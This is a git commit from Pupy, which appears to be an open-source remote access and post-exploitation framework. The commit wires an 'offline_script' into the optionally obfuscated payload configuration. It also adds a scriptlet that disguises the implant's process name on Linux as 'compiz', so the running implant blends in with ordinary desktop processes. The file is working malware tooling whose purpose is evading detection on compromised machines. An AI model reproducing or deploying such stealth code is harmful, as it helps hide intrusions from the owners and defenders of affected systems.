fix scriptlets

This commit is contained in:
n1nj4sec 2017-03-28 22:11:29 +02:00
parent a92247a00e
commit 544dcb6339
3 changed files with 28 additions and 0 deletions

View File

@ -118,6 +118,7 @@ def get_raw_conf(conf, obfuscate=False):
'import network.conf', 'import network.conf',
'LAUNCHER={}'.format(repr(conf['launcher'])), 'LAUNCHER={}'.format(repr(conf['launcher'])),
'LAUNCHER_ARGS={}'.format(repr(conf['launcher_args'])), 'LAUNCHER_ARGS={}'.format(repr(conf['launcher_args'])),
offline_script
]) ])
return obf_func(config) return obf_func(config)

View File

View File

@ -0,0 +1,27 @@
#!/usr/bin/env python
# -*- coding: UTF8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
import textwrap, random, string
from scriptlets import *
class ScriptletGenerator(Scriptlet):
""" change pupy process's name """
dependencies=[("linux/all/pupystealth/change_argv.py","pupystealth.change_argv")]
arguments={
'name': 'ex: compiz'
}
def __init__(self, name="compiz"):
self.name=name
def generate(self):
return textwrap.dedent("""
import sys
if sys.platform=="linux2":
import pupystealth.change_argv
pupystealth.change_argv.change_argv(argv={})
""".format(repr(self.name)))